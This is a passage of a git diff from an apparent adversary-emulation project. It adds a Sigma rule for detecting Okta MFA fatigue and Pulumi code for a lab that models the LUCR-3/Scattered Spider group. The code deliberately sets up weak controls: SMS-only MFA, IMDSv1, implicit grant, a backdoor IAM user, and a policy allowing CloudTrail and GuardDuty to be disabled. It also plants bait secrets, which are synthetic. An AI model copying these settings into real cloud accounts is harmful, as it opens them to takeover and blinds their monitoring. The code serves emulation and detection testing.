notifications to fatigue victims into approving a fraudulent session. +references: + - https://attack.mitre.org/techniques/T1621/ + - https://www.cisa.gov/sites/default/files/2023-11/aa23-320a_scattered_spider.pdf +author: MayaTrail +date: 2026/04/15 +tags: + - attack.credential_access + - attack.t1621 + - lucr3 + - scattered_spider + - mfa_fatigue +logsource: + product: okta + service: okta +detection: + selection: + eventType: 'user.authentication.auth_via_mfa' + timeframe: 5m + condition: selection | count() by actor.alternateId > 3 +falsepositives: + - User mis-tapping or retrying a failed MFA prompt + - Automated test harnesses running against Okta sandbox tenants +level: high diff --git a/emulations/lucr_3/infra/Pulumi.yaml b/emulations/lucr_3/infra/Pulumi.yaml new file mode 100644 index 0000000..9816383 --- /dev/null +++ b/emulations/lucr_3/infra/Pulumi.yaml @@ -0,0 +1,3 @@ +name: mayatrail-lucr3 +runtime: python +description: LUCR-3 (Scattered Spider) multi-cloud adversary emulation infrastructure diff --git a/emulations/lucr_3/infra/__init__.py b/emulations/lucr_3/infra/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/emulations/lucr_3/infra/__main__.py b/emulations/lucr_3/infra/__main__.py new file mode 100644 index 0000000..f0a667f --- /dev/null +++ b/emulations/lucr_3/infra/__main__.py @@ -0,0 +1,1206 @@ +# FILE: __main__.py +# LUCR-3 adversary emulation infrastructure +# Threat actor: LUCR-3 (Scattered Spider affiliate) +# Platform: multi-cloud (AWS + Okta + Azure AD + GitHub) + +import sys +if hasattr(sys.stdout, "reconfigure"): + sys.stdout.reconfigure(encoding="utf-8", errors="replace") +if hasattr(sys.stderr, "reconfigure"): + sys.stderr.reconfigure(encoding="utf-8", errors="replace") + +import json +import os +import pathlib +import subprocess +import pulumi +import pulumi_aws as aws +import pulumi_okta as okta +import pulumi_azuread as azuread +import pulumi_github as github + +# ============================================================ +# Resource Name Constants (sourced from resource_names.json) +# ============================================================ +_NAMES_FILE = pathlib.Path(__file__).parent / "resource_names.json" +_NAMES = json.loads(_NAMES_FILE.read_text()) if _NAMES_FILE.exists() else {"resources": {}, "pulumi_export_keys": {}} +_R = _NAMES.get("resources", {}) + +def _rn(key, default=""): + """Return static resource name from resource_names.json, with inline default.""" + return _R.get(key, default) + +TRAIL_NAME = _rn("trail_name", "lucr3-cloudtrail") +SAML_PROVIDER_NAME = _rn("saml_provider_name", "lucr3-okta-saml-idp") +FEDERATED_ROLE_NAME = _rn("federated_role_name", "lucr3-privileged-federated-role") +ATTACKER_USER_NAME = _rn("attacker_iam_user", "svc-automation-lucr3") +HONEY_USER_NAME = _rn("honey_iam_user", "svc-terraform-automation") +EC2_SSM_ROLE_NAME = _rn("ec2_ssm_role_name", "lucr3-ec2-ssm-role") +INSTANCE_PROFILE_NAME = _rn("instance_profile_name", "lucr3-instance-profile") +ATTACKER_POLICY_NAME = _rn("attacker_policy_name", "lucr3-attacker-broad-policy") +DYNAMODB_TABLE_NAME = _rn("dynamodb_table", "lucr3-CustomerRecords") +GITHUB_REPO_NAME = _rn("github_repo", "lucr3-core-platform") +SECRET_PROD_DB_NAME = _rn("secret_prod_db", "prod/database/master_credentials") +SECRET_STRIPE_NAME = _rn("secret_stripe", "prod/payments/stripe_secret_key") +SECRET_HONEY_CREDS_NAME= _rn("secret_honey_creds", "prod/infrastructure/terraform-automation-key") +SECRET_GITHUB_PAT_NAME = _rn("secret_github_pat", "prod/cicd/github-actions-token") +VICTIM_USERNAME = _rn("victim_okta_username", "victim.employee@lab.internal") +VPC_NAME = _rn("vpc_name", "lucr3-sandbox-vpc") +SG_NAME = _rn("sg_name", "lucr3-sg-ec2") +SNS_TOPIC_NAME = _rn("sns_topic_name", "lucr3-canary-alerts") + +# Export constants (attack.py reads these by name) +pulumi.export("trail_name", TRAIL_NAME) +pulumi.export("saml_provider_name", SAML_PROVIDER_NAME) +pulumi.export("federated_role_name", FEDERATED_ROLE_NAME) +pulumi.export("attacker_user_name", ATTACKER_USER_NAME) +pulumi.export("honey_user_name", HONEY_USER_NAME) +pulumi.export("dynamodb_table_name", DYNAMODB_TABLE_NAME) +pulumi.export("github_repo_name", GITHUB_REPO_NAME) +pulumi.export("victim_username", VICTIM_USERNAME) +pulumi.export("attacker_policy_name", ATTACKER_POLICY_NAME) + +# ============================================================ +# Account / Region / Config +# ============================================================ +caller = aws.get_caller_identity() +account_id = caller.account_id +region_id = aws.get_region().id + +config = pulumi.Config() +operator_cidr = config.get("operator_cidr") or "10.0.0.1" +okta_org_url = config.get("okta_org_url") or "https://lab.okta.com" +github_org = config.get("github_org") or "acme-lab" + +# Okta SAML metadata XML for AWS IAM SAML provider +# Set via: pulumi config set okta_saml_metadata "$(cat okta-metadata.xml)" +# Obtain from: Okta Admin Console > Security > Identity Providers > Download metadata +saml_metadata_doc = config.get("okta_saml_metadata") or ( + '' + '' + '' + '' + '' + 'MIIDpDCCAoygAwIBAgIGAVQGPyDPMA0GCSqGSIb3DQEBCwUAMIGSMQswCQYDVQQGEwJVUzETMBEGA1UECAwKQ2FsaWZvcm5pYTEWMBQGA1UEBwwNU2FuIEZyYW5jaXNjbzENMAsGA1UECgwET2t0YTEUMBIGA1UECwwLU1NPUHJvdmlkZXIxEzARBgNVBAMMCmRldi0xMjM0NTYxHTAbBgkqhkiG9w0BCQEWDmluZm9Ab2t0YS5jb20wHhcNMjUwMTAxMDAwMDAwWhcNMjcwMTAxMDAwMDAwWjCBkjELMAkGA1UEBhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExFjAUBgNVBAcMDVNhbiBGcmFuY2lzY28xDTALBgNVBAoMBE9rdGExFDASBgNVBAsMC1NTT1Byb3ZpZGVyMRMwEQYDVQQDDApkZXYtMTIzNDU2MR0wGwYJKoZIhvcNAQkBFg5pbmZvQG9rdGEuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2a2rwplBQLzHPZe5RJbBN4N6kTFhQKuCmJSMHJRMSMMVnHLhCe9BU6OCH2yEGXHJTKCqzBdpBSFnBbEMFcyMXELqatMRGQBKYqNnKFBpAFEeGCnSSbLPBCRtBkCeYbDp3ht3VblwTkDmXtCMc6OA1YNJvPMPj4Y5Nv3AHPK0YAGblTq5XUagVP3vNkXjIQzAQIDAQABo1AwTjAdBgNVHQ4EFgQUQKNDuE7c/w7L2KQfXq5l5vXAlR0wHwYDVR0jBBgwFoAUQKNDuE7c/w7L2KQfXq5l5vXAlR0wDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEARTUFq5FBJjCPLJYYS7mSBExnpAnkk3Nd6YhS7IhiOlTGjSxvDqh5jzECFaDe1U9jHp5w3Wa/IClX5k2AZJDhB7phlxXc2bLzSk3Gl6oM/4/Y5W5QIDAQAB' + '' + '' + '' + '' +) + +TAGS = { + "MayaTrail": "true", + "Purpose": "adversary-emulation", + "ThreatActor": "LUCR-3", + "Environment": "lab-isolated", + "DataClassification": "synthetic-only", +} + +# ============================================================ +# SNS Topic for canary alerts +# ============================================================ +canary_sns = aws.sns.Topic("lucr3-canary-sns", + name=SNS_TOPIC_NAME, + tags=TAGS, +) +pulumi.export("canary_sns_arn", canary_sns.arn) + +# ============================================================ +# 1. Log Bucket (CloudTrail + VPC flow logs) +# ============================================================ +log_bucket_name = f"lucr3-logs-{account_id}" + +log_bucket = aws.s3.Bucket("lucr3-log-bucket", + bucket=log_bucket_name, + tags=TAGS, +) + +aws.s3.BucketPublicAccessBlock("lucr3-log-bucket-pab", + bucket=log_bucket.id, + block_public_acls=True, + block_public_policy=True, + ignore_public_acls=True, + restrict_public_buckets=True, +) + +aws.s3.BucketLifecycleConfigurationV2("lucr3-log-bucket-lifecycle", + bucket=log_bucket.id, + rules=[aws.s3.BucketLifecycleConfigurationV2RuleArgs( + id="expire-logs", + status="Enabled", + expiration=aws.s3.BucketLifecycleConfigurationV2RuleExpirationArgs(days=30), + )], +) + +log_bucket_policy = aws.s3.BucketPolicy("lucr3-log-bucket-policy", + bucket=log_bucket.id, + policy=log_bucket.arn.apply(lambda arn: json.dumps({ + "Version": "2012-10-17", + "Statement": [ + { + "Sid": "AWSCloudTrailAclCheck", + "Effect": "Allow", + "Principal": {"Service": "cloudtrail.amazonaws.com"}, + "Action": "s3:GetBucketAcl", + "Resource": arn, + }, + { + "Sid": "AWSCloudTrailWrite", + "Effect": "Allow", + "Principal": {"Service": "cloudtrail.amazonaws.com"}, + "Action": "s3:PutObject", + "Resource": f"{arn}/AWSLogs/{account_id}/*", + "Condition": { + "StringEquals": {"s3:x-amz-acl": "bucket-owner-full-control"} + }, + }, + ], + })), +) + +pulumi.export("log_bucket_name", log_bucket_name) +pulumi.export("cloudtrail_bucket_name", log_bucket_name) + +# ============================================================ +# 2. VPC +# ============================================================ +vpc = aws.ec2.Vpc("lucr3-vpc", + cidr_block="10.99.0.0/16", + enable_dns_hostnames=True, + enable_dns_support=True, + tags={**TAGS, "Name": VPC_NAME}, +) + +igw = aws.ec2.InternetGateway("lucr3-igw", + vpc_id=vpc.id, + tags={**TAGS, "Name": "lucr3-igw"}, +) + +route_table = aws.ec2.RouteTable("lucr3-rt", + vpc_id=vpc.id, + routes=[aws.ec2.RouteTableRouteArgs( + cidr_block="0.0.0.0/0", + gateway_id=igw.id, + )], + tags={**TAGS, "Name": "lucr3-rt"}, +) + +# VPC flow log role +flow_log_role = aws.iam.Role("lucr3-flow-log-role", + name="lucr3-flow-log-role", + assume_role_policy=json.dumps({ + "Version": "2012-10-17", + "Statement": [{ + "Effect": "Allow", + "Principal": {"Service": "vpc-flow-logs.amazonaws.com"}, + "Action": "sts:AssumeRole", + }], + }), + tags=TAGS, +) + +aws.iam.RolePolicy("lucr3-flow-log-policy", + role=flow_log_role.id, + policy=json.dumps({ + "Version": "2012-10-17", + "Statement": [{ + "Effect": "Allow", + "Action": [ + "logs:CreateLogGroup", + "logs:CreateLogStream", + "logs:PutLogEvents", + "logs:DescribeLogGroups", + "logs:DescribeLogStreams", + ], + "Resource": "*", + }], + }), +) + +flow_log_group = aws.cloudwatch.LogGroup("lucr3-flow-log-group", + name="/vpc/lucr3-flow-logs", + retention_in_days=30, + tags=TAGS, +) + +aws.ec2.FlowLog("lucr3-vpc-flow-log", + vpc_id=vpc.id, + traffic_type="ALL", + iam_role_arn=flow_log_role.arn, + log_destination=flow_log_group.arn, + tags=TAGS, +) + +pulumi.export("vpc_id", vpc.id) + +# ============================================================ +# 3. Public Subnet +# ============================================================ +subnet_pub = aws.ec2.Subnet("lucr3-subnet-pub", + vpc_id=vpc.id, + cidr_block="10.99.1.0/24", + availability_zone="us-east-1a", + map_public_ip_on_launch=True, + tags={**TAGS, "Name": "lucr3-subnet-pub"}, +) + +aws.ec2.RouteTableAssociation("lucr3-rt-assoc", + subnet_id=subnet_pub.id, + route_table_id=route_table.id, +) + +pulumi.export("subnet_id", subnet_pub.id) + +# ============================================================ +# 4. EC2 Security Group +# ============================================================ +sg_ec2 = aws.ec2.SecurityGroup("lucr3-sg-ec2", + name=SG_NAME, + vpc_id=vpc.id, + description="EC2 security group for LUCR-3 lab target - SSH restricted to operator", + ingress=[aws.ec2.SecurityGroupIngressArgs( + from_port=22, + to_port=22, + protocol="tcp", + cidr_blocks=[f"{operator_cidr}/32"], + description="SSH from operator only", + )], + egress=[aws.ec2.SecurityGroupEgressArgs( + from_port=0, + to_port=0, + protocol="-1", + cidr_blocks=["0.0.0.0/0"], + description="All outbound for SSM and updates", + )], + tags={**TAGS, "Name": SG_NAME}, +) + +pulumi.export("ec2_sg_id", sg_ec2.id) + +# ============================================================ +# 5. Okta MFA Policy (SMS/OTP, no phishing-resistant) +# lucr3-okta-mfa-sms-policy +# ============================================================ +okta_mfa_policy = okta.policy.MfaDefault("lucr3-okta-mfa-sms-policy", + okta_password={"enroll": "REQUIRED"}, + okta_otp={"enroll": "REQUIRED"}, + okta_email={"enroll": "OPTIONAL"}, + okta_verify={"enroll": "OPTIONAL"}, + fido_webauthn={"enroll": "NOT_ALLOWED"}, + is_oie=False, +) + +# ============================================================ +# 6. Okta Victim User +# lucr3-okta-victim-user +# ============================================================ +victim_password = config.get_secret("victim_password") or pulumi.Output.secret("LabP@ssw0rd2025!") + +okta_victim_user = okta.user.User("lucr3-okta-victim-user", + first_name="Alex", + last_name="Employee", + login=VICTIM_USERNAME, + email=VICTIM_USERNAME, + title="Cloud Infrastructure Engineer", + department="Platform Engineering", + organization="ACME Corp", + password_inline_hook="", +) + +pulumi.export("okta_victim_user_id", okta_victim_user.id) +pulumi.export("okta_org_url", okta_org_url) +pulumi.export("victim_username", VICTIM_USERNAME) + +# NOTE: lucr3-okta-attacker-device (T1098.005) is provisioned via Okta API +# in the attack script (POST /api/v1/users/{userId}/factors), not as a +# declarative Pulumi resource. See emulation runbook for API call details. + +# ============================================================ +# 7. Azure AD SAML Application (Entra ID SP) +# lucr3-azuread-saml-app +# ============================================================ +# Microsoft Graph API app ID (well-known) +MS_GRAPH_APP_ID = "00000003-0000-0000-c000-000000000000" + +azuread_app = azuread.Application("lucr3-azuread-saml-app", + display_name="LUCR-3 Lab Corporate Portal (SAML SP)", + sign_in_audience="AzureADMyOrg", + required_resource_accesses=[ + azuread.ApplicationRequiredResourceAccessArgs( + resource_app_id=MS_GRAPH_APP_ID, + resource_accesses=[ + # Sites.Read.All - T1213.002 + azuread.ApplicationRequiredResourceAccessResourceAccessArgs( + id="332a536c-c7ef-4017-ab91-336970924f0d", + type="Role", + ), + # Mail.ReadWrite - T1070.008 + azuread.ApplicationRequiredResourceAccessResourceAccessArgs( + id="e2a3a72e-5f79-4c64-b1b1-878b674786c9", + type="Role", + ), + # Files.ReadWrite.All - T1530 + azuread.ApplicationRequiredResourceAccessResourceAccessArgs( + id="75359482-378d-4052-8f01-80520e7db3cd", + type="Role", + ), + ], + ), + ], + web=azuread.ApplicationWebArgs( + # Legacy auth left enabled to model real-world LUCR-3 target + implicit_grant=azuread.ApplicationWebImplicitGrantArgs( + access_token_issuance_enabled=True, + ), + ), + tags=["lucr3-emulation", "lab-isolated", "synthetic-only"], +) + +azuread_sp = azuread.ServicePrincipal("lucr3-azuread-sp", + client_id=azuread_app.client_id, +) + +pulumi.export("azuread_app_client_id", azuread_app.client_id) +pulumi.export("azuread_sp_id", azuread_sp.id) + +# ============================================================ +# 8. AWS IAM SAML Provider (Okta -> AWS federation bridge) +# lucr3-aws-saml-idp +# ============================================================ +aws_saml_provider = aws.iam.SamlProvider("lucr3-aws-saml-idp", + name=SAML_PROVIDER_NAME, + saml_metadata_document=saml_metadata_doc, + tags=TAGS, +) + +pulumi.export("saml_provider_arn", aws_saml_provider.arn) + +# ============================================================ +# 9. IAM Instance Profile for EC2 (SSM only) +# lucr3-instance-profile +# ============================================================ +ec2_ssm_role = aws.iam.Role("lucr3-ec2-ssm-role", + name=EC2_SSM_ROLE_NAME, + assume_role_policy=json.dumps({ + "Version": "2012-10-17", + "Statement": [{ + "Effect": "Allow", + "Principal": {"Service": "ec2.amazonaws.com"}, + "Action": "sts:AssumeRole", + }], + }), + tags=TAGS, +) + +aws.iam.RolePolicyAttachment("lucr3-ec2-ssm-managed-policy", + role=ec2_ssm_role.name, + policy_arn="arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore", +) + +instance_profile = aws.iam.InstanceProfile("lucr3-instance-profile", + name=INSTANCE_PROFILE_NAME, + role=ec2_ssm_role.name, + tags=TAGS, +) + +pulumi.export("instance_profile_name", INSTANCE_PROFILE_NAME) + +# ============================================================ +# 10. Attacker broad IAM policy +# lucr3-attacker-broad-policy +# ============================================================ +attacker_broad_policy = aws.iam.Policy("lucr3-attacker-broad-policy", + name=ATTACKER_POLICY_NAME, + description="LUCR-3 emulation - over-permissioned policy replicating SAML federation blast radius", + policy=json.dumps({ + "Version": "2012-10-17", + "Statement": [ + { + "Sid": "IAMManipulation", + "Effect": "Allow", + "Action": [ + "iam:CreateUser", + "iam:CreateAccessKey", + "iam:AttachUserPolicy", + "iam:PutUserPolicy", + "iam:ListUsers", + "iam:ListRoles", + "iam:GetUser", + "iam:ListAccessKeys", + "iam:ListAttachedRolePolicies", + "sts:AssumeRole", + ], + "Resource": "*", + }, + { + "Sid": "S3Exfil", + "Effect": "Allow", + "Action": [ + "s3:ListAllMyBuckets", + "s3:ListBucket", + "s3:GetObject", + "s3:GetObjectVersion", + "s3:GetBucketLocation", + "s3:GetBucketPolicy", + ], + "Resource": "*", + }, + { + "Sid": "SecretsManagerScrape", + "Effect": "Allow", + "Action": [ + "secretsmanager:ListSecrets", + "secretsmanager:GetSecretValue", + "secretsmanager:DescribeSecret", + ], + "Resource": "*", + }, + { + "Sid": "EC2Discovery", + "Effect": "Allow", + "Action": [ + "ec2:DescribeInstances", + "ec2:DescribeImages", + "ec2:DescribeSecurityGroups", + "ec2:DescribeVpcs", + "ec2:RunInstances", + "ec2:CreateKeyPair", + ], + "Resource": "*", + }, + { + "Sid": "DefenseImpairment", + "Effect": "Allow", + "Action": [ + "cloudtrail:StopLogging", + "cloudtrail:DeleteTrail", + "cloudtrail:UpdateTrail", + "guardduty:DeleteDetector", + "guardduty:UpdateDetector", + "guardduty:ListDetectors", + ], + "Resource": "*", + }, + { + "Sid": "DynamoDBExfil", + "Effect": "Allow", + "Action": [ + "dynamodb:Scan", + "dynamodb:Query", + "dynamodb:GetItem", + "dynamodb:ListTables", + "dynamodb:DescribeTable", + ], + "Resource": "*", + }, + { + "Sid": "CloudShellAccess", + "Effect": "Allow", + "Action": [ + "cloudshell:CreateEnvironment", + "cloudshell:StartEnvironment", + "cloudshell:PutFiles", + "cloudshell:GetFiles", + ], + "Resource": "*", + }, + ], + }), + tags=TAGS, +) + +# ============================================================ +# 11. Privileged Federated Role (Okta SAML -> AWS) +# lucr3-privileged-federated-role +# ============================================================ +federated_role = aws.iam.Role("lucr3-privileged-federated-role", + name=FEDERATED_ROLE_NAME, + description="Over-privileged role assumable via Okta SAML federation - LUCR-3 emulation", + max_session_duration=43200, + assume_role_policy=aws_saml_provider.arn.apply(lambda arn: json.dumps({ + "Version": "2012-10-17", + "Statement": [{ + "Effect": "Allow", + "Principal": {"Federated": arn}, + "Action": "sts:AssumeRoleWithSAML", + "Condition": { + "StringEquals": { + "SAML:aud": "https://signin.aws.amazon.com/saml", + } + }, + }], + })), + tags=TAGS, +) + +aws.iam.RolePolicyAttachment("lucr3-federated-role-policy", + role=federated_role.name, + policy_arn=attacker_broad_policy.arn, +) + +pulumi.export("federated_role_arn", federated_role.arn) + +# ============================================================ +# 12. Attacker IAM User (backdoor, created by attack script) +# lucr3-attacker-iam-user (pre-provisioned for idempotency) +# ============================================================ +attacker_iam_user = aws.iam.User("lucr3-attacker-iam-user", + name=ATTACKER_USER_NAME, + tags={**TAGS, "Description": "LUCR-3 emulation - backdoor service account"}, +) + +aws.iam.UserPolicyAttachment("lucr3-attacker-user-policy", + user=attacker_iam_user.name, + policy_arn=attacker_broad_policy.arn, +) + +pulumi.export("attacker_iam_user_arn", attacker_iam_user.arn) + +# ============================================================ +# 13. Honey IAM User (canary - deny-all, triggers alert on use) +# lucr3-bait-honey-iam-user +# ============================================================ +honey_user = aws.iam.User("lucr3-bait-honey-iam-user", + name=HONEY_USER_NAME, + tags={ + **TAGS, + "Description": "Terraform automation service account", + "Team": "Platform Engineering", + }, +) + +# Deny-all policy on the honey user - access key valid but calls trigger detection +aws.iam.UserPolicy("lucr3-honey-user-deny-all", + user=honey_user.name, + policy=json.dumps({ + "Version": "2012-10-17", + "Statement": [{ + "Effect": "Deny", + "Action": "*", + "Resource": "*", + }], + }), +) + +# Access key for canary detection - stored in honey credentials secret below +honey_access_key = aws.iam.AccessKey("lucr3-honey-access-key", + user=honey_user.name, +) + +# EventBridge rule: any API call by honey user ARN -> SNS alert +honey_user_canary_rule = aws.cloudwatch.EventRule("lucr3-honey-user-canary-rule", + name="lucr3-honey-user-canary", + description="CANARY - alert when honey IAM user API call detected", + event_pattern=honey_user.arn.apply(lambda arn: json.dumps({ + "source": ["aws.iam", "aws.s3", "aws.ec2", "aws.sts"], + "detail": { + "userIdentity": { + "arn": [arn], + }, + }, + })), + tags=TAGS, +) + +aws.cloudwatch.EventTarget("lucr3-honey-user-canary-target", + rule=honey_user_canary_rule.name, + arn=canary_sns.arn, + input_transformer=aws.cloudwatch.EventTargetInputTransformerArgs( + input_paths={"eventName": "$.detail.eventName"}, + input_template='"CANARY TRIGGERED: honey IAM user svc-terraform-automation accessed - action: "', + ), +) + +pulumi.export("honey_user_arn", honey_user.arn) + +# ============================================================ +# 14. CloudTrail Trail (to be stopped by attacker - T1562.008) +# lucr3-cloudtrail +# ============================================================ +trail = aws.cloudtrail.Trail("lucr3-cloudtrail", + name=TRAIL_NAME, + s3_bucket_name=log_bucket.id, + include_global_service_events=True, + is_multi_region_trail=True, + enable_log_file_validation=True, + enable_logging=True, + tags=TAGS, + opts=pulumi.ResourceOptions(depends_on=[log_bucket_policy]), +) + +pulumi.export("cloudtrail_trail_arn", trail.arn) + +# ============================================================ +# 15. GuardDuty Detector (to be disabled by attacker - T1562.001) +# lucr3-guardduty-detector +# ============================================================ +gd_detector = aws.guardduty.Detector("lucr3-guardduty-detector", + enable=True, + finding_publishing_frequency="ONE_HOUR", + tags=TAGS, +) + +# S3 protection via DetectorFeature (v7 API) +aws.guardduty.DetectorFeature("lucr3-gd-s3-protection", + detector_id=gd_detector.id, + name="S3_DATA_EVENTS", + status="ENABLED", +) + +# Malware protection via DetectorFeature (v7 API) +aws.guardduty.DetectorFeature("lucr3-gd-malware-protection", + detector_id=gd_detector.id, + name="EBS_MALWARE_PROTECTION", + status="ENABLED", +) + +pulumi.export("guardduty_detector_id", gd_detector.id) + +# ============================================================ +# 16. S3 Corporate Data Bucket (exfiltration target - T1530) +# lucr3-s3-corporate-data +# ============================================================ +corporate_bucket_name = f"lucr3-corporate-data-{account_id}" + +corporate_bucket = aws.s3.Bucket("lucr3-s3-corporate-data", + bucket=corporate_bucket_name, + tags=TAGS, +) + +aws.s3.BucketPublicAccessBlock("lucr3-corporate-pab", + bucket=corporate_bucket.id, + block_public_acls=True, + block_public_policy=True, + ignore_public_acls=True, + restrict_public_buckets=True, +) + +aws.s3.BucketVersioningV2("lucr3-corporate-versioning", + bucket=corporate_bucket.id, + versioning_configuration=aws.s3.BucketVersioningV2VersioningConfigurationArgs( + status="Enabled", + ), +) + +aws.s3.BucketServerSideEncryptionConfigurationV2("lucr3-corporate-sse", + bucket=corporate_bucket.id, + rules=[aws.s3.BucketServerSideEncryptionConfigurationV2RuleArgs( + apply_server_side_encryption_by_default=aws.s3.BucketServerSideEncryptionConfigurationV2RuleApplyServerSideEncryptionByDefaultArgs( + sse_algorithm="AES256", + ), + )], +) + +# Synthetic bait files in corporate data bucket +aws.s3.BucketObject("lucr3-corp-financial-projections", + bucket=corporate_bucket.id, + key="financial_projections_2025.xlsx", + content="SYNTHETIC FINANCIAL DATA - FOR EMULATION ONLY\nQ1 Revenue: $42M (FAKE)\nQ2 Revenue: $51M (FAKE)\nQ3 Forecast: $58M (FAKE)", + content_type="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet", + tags=TAGS, +) + +aws.s3.BucketObject("lucr3-corp-customer-pii", + bucket=corporate_bucket.id, + key="customer_pii_export.csv", + content="id,name,email,ssn_last4\n1,SYNTHETIC_FAKE_USER,fake@example.com,0000\n2,SYNTHETIC_FAKE_USER_2,fake2@example.com,0001", + content_type="text/csv", + tags=TAGS, +) + +aws.s3.BucketObject("lucr3-corp-ma-docs", + bucket=corporate_bucket.id, + key="merger_acquisition_docs.pdf", + content="SYNTHETIC M&A DOCUMENT - FOR EMULATION ONLY - NOT REAL FINANCIAL INFORMATION", + content_type="application/pdf", + tags=TAGS, +) + +pulumi.export("corporate_bucket_name", corporate_bucket_name) + +# ============================================================ +# 17. S3 Engineering Artifacts Bucket (credential harvest target) +# lucr3-s3-engineering-artifacts +# ============================================================ +engineering_bucket_name = f"lucr3-engineering-artifacts-{account_id}" + +engineering_bucket = aws.s3.Bucket("lucr3-s3-engineering-artifacts", + bucket=engineering_bucket_name, + tags=TAGS, +) + +aws.s3.BucketPublicAccessBlock("lucr3-engineering-pab", + bucket=engineering_bucket.id, + block_public_acls=True, + block_public_policy=True, + ignore_public_acls=True, + restrict_public_buckets=True, +) + +aws.s3.BucketVersioningV2("lucr3-engineering-versioning", + bucket=engineering_bucket.id, + versioning_configuration=aws.s3.BucketVersioningV2VersioningConfigurationArgs( + status="Enabled", + ), +) + +aws.s3.BucketServerSideEncryptionConfigurationV2("lucr3-engineering-sse", + bucket=engineering_bucket.id, + rules=[aws.s3.BucketServerSideEncryptionConfigurationV2RuleArgs( + apply_server_side_encryption_by_default=aws.s3.BucketServerSideEncryptionConfigurationV2RuleApplyServerSideEncryptionByDefaultArgs( + sse_algorithm="AES256", + ), + )], +) + +# Synthetic files with embedded fake secrets +aws.s3.BucketObject("lucr3-eng-setup-script", + bucket=engineering_bucket.id, + key="deploy-scripts/setup.sh", + content="""#!/bin/bash +# SYNTHETIC FILE - FOR EMULATION ONLY +DB_PASSWORD="Synth3tic!FakeDB#2025" +DB_HOST="prod-rds.lab.internal" +DB_USER="dbadmin" +AWS_REGION="us-east-1" +echo "Deploying application..." +""", + content_type="text/x-shellscript", + tags=TAGS, +) + +aws.s3.BucketObject("lucr3-eng-env-production", + bucket=engineering_bucket.id, + key=".env.production", + content="""# SYNTHETIC FILE - FOR EMULATION ONLY +STRIPE_SECRET_KEY=sk_live_SYNTHETIC_FAKE_KEY_FOR_EMULATION_ONLY +SENDGRID_API_KEY=SG.SYNTHETIC_FAKE_SENDGRID_KEY_FOR_EMULATION +DATABASE_URL=postgresql://dbadmin:FakePassword123@prod-rds.lab.internal:5432/appdb +JWT_SECRET=synthetic_jwt_secret_not_real_do_not_use_abc123xyz +""", + content_type="text/plain", + tags=TAGS, +) + +aws.s3.BucketObject("lucr3-eng-build-artifact", + bucket=engineering_bucket.id, + key="build-artifacts/app-v2.3.1.zip", + content="SYNTHETIC BUILD ARTIFACT - FOR EMULATION ONLY", + content_type="application/zip", + tags=TAGS, +) + +# EventBridge notification for bait terraform.tfstate access (set up after object creation) +engineering_bucket_notification = aws.s3.BucketNotification("lucr3-engineering-notifications", + bucket=engineering_bucket.id, + eventbridge=True, +) + +pulumi.export("engineering_bucket_name", engineering_bucket_name) + +# ============================================================ +# 18. SecretsManager: prod DB credentials (T1555.006) +# lucr3-secrets-prod-db +# ============================================================ +secret_prod_db = aws.secretsmanager.Secret("lucr3-secrets-prod-db", + name=SECRET_PROD_DB_NAME, + description="Production database master credentials - SYNTHETIC EMULATION ONLY", + recovery_window_in_days=0, + tags=TAGS, +) + +aws.secretsmanager.SecretVersion("lucr3-secrets-prod-db-version", + secret_id=secret_prod_db.id, + secret_string=json.dumps({ + "username": "dbadmin", + "password": "Synth3tic!Pass#2025", + "host": "prod-rds.lab.internal", + "port": 5432, + }), +) + +pulumi.export("secret_prod_db_arn", secret_prod_db.arn) + +# ============================================================ +# 19. SecretsManager: Stripe API key (T1555.006) +# lucr3-secrets-stripe-api +# ============================================================ +secret_stripe = aws.secretsmanager.Secret("lucr3-secrets-stripe-api", + name=SECRET_STRIPE_NAME, + description="Payment processor API key - SYNTHETIC EMULATION ONLY", + recovery_window_in_days=0, + tags=TAGS, +) + +aws.secretsmanager.SecretVersion("lucr3-secrets-stripe-version", + secret_id=secret_stripe.id, + secret_string=json.dumps({ + "key": "sk_live_SYNTHETIC_FAKE_KEY_FOR_EMULATION_ONLY_DO_NOT_USE", + }), +) + +pulumi.export("secret_stripe_arn", secret_stripe.arn) + +# ============================================================ +# 20. DynamoDB Customer Records table (T1530) +# lucr3-dynamodb-customer-records +# ============================================================ +dynamo_table = aws.dynamodb.Table("lucr3-dynamodb-customer-records", + name=DYNAMODB_TABLE_NAME, + billing_mode="PAY_PER_REQUEST", + hash_key="customerId", + attributes=[ + aws.dynamodb.TableAttributeArgs(name="customerId", type="S"), + ], + tags=TAGS, +) + +# Synthetic customer rows (full 100-row population done by attack setup script via Faker) +for i in range(1, 6): + aws.dynamodb.TableItem(f"lucr3-dynamo-item-{i}", + table_name=dynamo_table.name, + hash_key=dynamo_table.hash_key, + item=json.dumps({ + "customerId": {"S": f"CUST-{i:04d}"}, + "email": {"S": f"synthetic.user{i}@example-fake.com"}, + "ssn_last4": {"S": f"{i:04d}"}, + "creditCardBin": {"S": "411111"}, + "accountBalance": {"N": str(i * 100)}, + }), + ) + +pulumi.export("dynamodb_table_name", DYNAMODB_TABLE_NAME) +pulumi.export("dynamodb_table_arn", dynamo_table.arn) + +# ============================================================ +# 21. EC2 Instance (lateral movement target - T1021.004, T1578.002) +# lucr3-ec2-target +# ============================================================ +al2023_ami = aws.ec2.get_ami_output( + most_recent=True, + owners=["amazon"], + filters=[ + aws.ec2.GetAmiFilterArgs(name="name", values=["al2023-ami-*-x86_64"]), + aws.ec2.GetAmiFilterArgs(name="state", values=["available"]), + ], +) + +ec2_instance = aws.ec2.Instance("lucr3-ec2-target", + ami=al2023_ami.id, + instance_type="t3.micro", + subnet_id=subnet_pub.id, + vpc_security_group_ids=[sg_ec2.id], + iam_instance_profile=instance_profile.name, + # IMDSv1 left enabled to model real-world LUCR-3 credential harvesting via IMDS + metadata_options=aws.ec2.InstanceMetadataOptionsArgs( + http_endpoint="enabled", + http_tokens="optional", + ), + user_data="""#!/bin/bash +# [EMULATED] T1082: System Information Discovery baseline setup +hostnamectl set-hostname lucr3-target-host +yum update -y --quiet +yum install -y --quiet curl wget jq python3 python3-pip awscli + +# Install SSM agent (pre-installed on AL2023 but ensure it is running) +systemctl enable amazon-ssm-agent +systemctl start amazon-ssm-agent + +# Create realistic directory structure to model a production host +mkdir -p 